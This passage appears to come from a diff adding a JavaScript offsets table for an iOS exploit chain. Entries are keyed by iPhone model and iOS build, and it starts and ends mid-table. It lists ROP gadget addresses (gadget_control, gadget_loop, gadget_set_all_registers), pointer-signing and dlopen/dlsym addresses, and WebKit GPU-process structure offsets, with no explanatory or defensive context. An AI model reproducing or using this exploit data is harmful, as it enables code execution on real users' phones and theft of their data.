MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ec3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ea58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62cb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b7f8n, + WebCore__initPKContact_value: 0x1eda6b800n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69fc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69fb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69fa0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fc00n, + __pthread_head: 0x269740020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a55d0n, + gadget_control_1_ios184: 0x23f0ca2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23ce6f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfb9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caa98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9d00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,6_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf098n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeb80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeae0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadeb30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddf28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ada98n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebc48n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be260n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be268n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be270n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be278n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257e27e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e818n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62a78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b5b8n, + WebCore__initPKContact_value: 0x1eda6b5c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69d80n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69d78n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69d60n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f9c0n, + __pthread_head: 0x2696e0020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5390n, + gadget_control_1_ios184: 0x23f0362ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f261150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d235da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfae16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218abf820n, + libGPUCompilerImplLazy__invoker: 0x23cddb7e8n, + libGPUCompilerImplLazy_cstring: 0x23bf25870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca858n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d284000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ac0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,6_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf098n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeb80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeae0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadeb30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddf28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ada98n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebc48n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be260n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be268n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be270n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be278n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257e27e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e818n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62a78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b5b8n, + WebCore__initPKContact_value: 0x1eda6b5c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69d80n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69d78n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69d60n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f9c0n, + __pthread_head: 0x2696e0020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5390n, + gadget_control_1_ios184: 0x23f0362ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f261150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d235da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfae16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218abf820n, + libGPUCompilerImplLazy__invoker: 0x23cddb7e8n, + libGPUCompilerImplLazy_cstring: 0x23bf25870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca858n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d284000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ac0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,6_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf098n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeb80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeae0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadeb30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddf28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ada98n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebc48n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be260n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be268n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be270n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be278n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257e27e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e818n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62a78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b5b8n, + WebCore__initPKContact_value: 0x1eda6b5c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69d80n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69d78n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69d60n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f9c0n, + __pthread_head: 0x2696e0020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5390n, + gadget_control_1_ios184: 0x23f0362ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f261150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d235da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfae16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218abf820n, + libGPUCompilerImplLazy__invoker: 0x23cddb7e8n, + libGPUCompilerImplLazy_cstring: 0x23bf25870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca858n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d284000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ac0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,7_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf498n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadef80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeee0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadef30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec048n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be9b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be660n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be668n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be670n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be678n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ed3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ec18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62e78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b9b8n, + WebCore__initPKContact_value: 0x1eda6b9c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a180n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a178n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a160n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fdc0n, + __pthread_head: 0x269b08020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5790n, + gadget_control_1_ios184: 0x23f0da2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ce7f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfc9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cac58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ec0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,7_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf498n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadef80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeee0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadef30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec048n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be9b0n, + 